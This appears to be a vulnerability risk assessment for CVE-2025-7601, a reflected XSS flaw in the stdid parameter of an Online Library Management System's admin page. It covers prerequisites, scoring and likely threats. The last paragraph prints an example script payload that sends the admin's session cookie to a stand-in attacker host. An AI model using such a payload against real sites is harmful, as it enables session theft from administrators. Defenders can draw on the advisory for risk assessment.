Online Library Management System CVE-2025-7601

Exploitation requires: (1) the attacker holds a low-privilege authenticated session within the application, OR can deliver a crafted URL to a currently authenticated admin user (UI:P - passive user interaction required); (2) the target application is accessible over the network (AV:N); (3) the victim admin must load the crafted request in their browser session. Limiting factors: the admin panel location (/admin/) is typically not exposed to anonymous internet users in well-configured deployments; the attack requires the victim to actively load the crafted URL; no confidentiality impact is confirmed (session stealing is plausible but not independently verified beyond the PoC claim). No special non-default configuration is needed - the vulnerable parameter exists in the default installation of version 3.0.

Real-world risk is low. The CVSS 4.0 base score of 2.0 (with E:P environmental modifier applied) accurately reflects the constrained impact: no confidentiality exposure (VC:N), only low integrity impact (VI:L), and no availability concern. The PR:L requirement means an attacker must already hold some authenticated session or trick an authenticated user into following a crafted link, limiting opportunistic exploitation. EPSS of 0.03% (8th percentile) indicates the vulnerability is not being actively weaponized in broad scanning campaigns. No CISA KEV listing exists. The public PoC (GitHub issue filed by researcher f1rstb100d) lowers the bar for individual exploitation but does not materially elevate mass-exploitation risk given the product's narrow deployment. The primary realistic threat is a targeted social-engineering attack against a logged-in library admin, not automated scanning at scale.

An attacker with low-privilege access to the application, or one who can socially engineer an authenticated admin, crafts a URL targeting /admin/student-history.php with the stdid parameter set to a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>). When the admin clicks the link or is redirected to it, the payload executes in the admin's browser, forwarding their session cookie to the attacker's server. A public PoC demonstrating this technique is available at https://github.com/f1rstb100d/myCVE/issues/142.